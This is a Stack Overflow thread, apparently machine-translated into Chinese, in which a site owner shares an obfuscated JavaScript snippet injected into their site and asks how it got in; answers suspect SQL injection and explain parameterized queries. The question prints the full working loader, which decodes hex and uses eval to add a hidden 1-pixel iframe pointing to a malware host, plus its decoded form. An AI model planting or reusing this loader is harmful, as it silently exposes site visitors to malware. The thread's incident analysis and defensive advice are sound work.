下面的代码将添加到我们的站点中。下面是它在页面上的效果,基本上是打开一个恶意软件站点的iframe。我们的站点上个星期受到了这个问题的困扰,为了解决这个问题,我们刚刚回过头来处理数据库和代码库来修复这个问题,它做到了。我有一个可以使用的坏版本,并且正在搜索代码的来源和方式,但是我什么也没想出来。如果它是通过网站上的某种形式输入的,那么这个条目在数据库中会是什么样的呢?如果它修改了代码库中的一个文件,为什么我找不到它?我应该找什么?任何对这件事的洞察力都会非常有用。我在努力找出我们需要在哪里堵住保安。
注意:原始脚本没有换行符。这里显示了换行符,以使代码可读性:
<script type="text/javascript" charset="utf-8">
p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!68!6f!75!65!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!68!6f!75!65!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!32!31!36!2e!31!31!3@!2e!31!31!34!2e!31!36!34!2f!65!73!64!2e!70!68!70!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!68!6f!75!65!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!68!6f!75!65!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b"
.replace(/@/g,"9")
.split("!");
try{
document.body&=0.1
} catch(gdsgsdg) {
zz=3;
dbshre=103;
if(dbshre){
vfvwe=0;
try{
document;
} catch(agdsg){
vfvwe=1;
}
if(!vfvwe){
e=eval;
}
s="";
if(zz)
for(i=0;i-480!=0;i++){
if(window.document)
s+=ss(p(asgq[i],16));
}
if(window.document)
e(s);
}
}
</script>嵌入的十六进制代码解析为以下Javascript:
(function () {
var houe = document.createElement('iframe');
houe.src = 'http://216.119.114.164/esd.php';
houe.style.position = 'absolute';
houe.style.border = '0';
houe.style.height = '1px';
houe.style.width = '1px';
houe.style.left = '1px';
houe.style.top = '1px';
if (!document.getElementById('houe')) {
document.write('<div id=\'houe\'></div>');
document.getElementById('houe').appendChild(houe);
}
})();它正在注入div元素,例如:
<div id="mgkc"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>
<div id="houe"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>发布于 2013-04-10 21:46:51
我应该找什么?
假设这是sql注入问题(这听起来确实是正确的),您应该在web应用程序代码中查找如下内容:
sql = "SELECT columns FROM SomeTable WHERE SomeColumn=" + someVariable如果您让我们知道您使用的是哪种语言,我可能会给出一个更有代表性的例子,但最主要的是,在任何地方,您都可以使用字符串连接将来自用户的信息放入sql查询中--即使您通过函数运行它来净化、清理或转义它--您也是脆弱的。注意,这甚至不是insert/update/delete语句。它只是一个select,语义表明sql甚至需要一个数字类型。这并不重要:攻击者仍然可以使用它来更改数据中的内容。
如果使用ORM,甚至可能只是构建WHERE子句的一部分,所以甚至可能是这样:
filter = "SomeDataField='" + someVariable + "'"正确的处理方法是使用所谓的参数化查询或准备好的语句,这取决于您在操场上与哪些孩子一起玩。这些代码使用的代码看起来更像这样:
sql = "SELECT columns" + " FROM SomeTable WHERE SomeColumn= ?"
// Other code to define and set a parameter for SomeColumn goes here请注意,我确实在那里使用了字符串连接(只是为了显示,以演示您可以以这种方式构建查询),但我并没有将它替换为查询中的用户输入。这里需要了解的重要一点是,使用此方案(如果实现得当),用户输入永远不会被直接替换到查询中,甚至在数据库服务器上也不会被替换。相反,它被单独传输,并被数据库引擎当作变量对待。
同样,如果我知道您使用的是哪种语言/平台,我可能能够给出更好的表示。举个例子(这次我将使用一个更新),这里有一种方法可以在C#中安全地使用Server:
string sql = "UPDATE table SET column= @SomeVariable WHERE ID= @UserID";
using (var cn = new SqlConnection("connection string here"))
using (var cmd = new SqlCommand(sql, cn))
{
cmd.Parameters.Add("@SomeVariable", SqlDbType.VarChar, 50).Value = someVariable;
cmd.Parameters.Add("@UserID", SqlDbType.Int).Value = UserID;
cn.Open();
cmd.ExecuteNonQuery();
}发布于 2013-04-10 21:46:03
您的网站上的表单如何与数据库交互?它们是创建到DB的直接连接,还是使用web服务?如果直接在DB上执行查询,则应该将查询参数化。
发布于 2013-04-10 22:03:00
有多个网站漏洞扫描器来测试SQL注入和网站上的其他漏洞。下面是一个简短的列表--检查https://security.stackexchange.com/questions/32/what-tools-are-available-to-assess-the-security-of-a-web-application/38#38是否有更大的列表:
此外,还请参阅以下链接:
通常,您还需要搜索代码库中的每个SQL命令,并验证没有向数据库发送未经清理的输入。
https://stackoverflow.com/questions/15936992
复制相似问题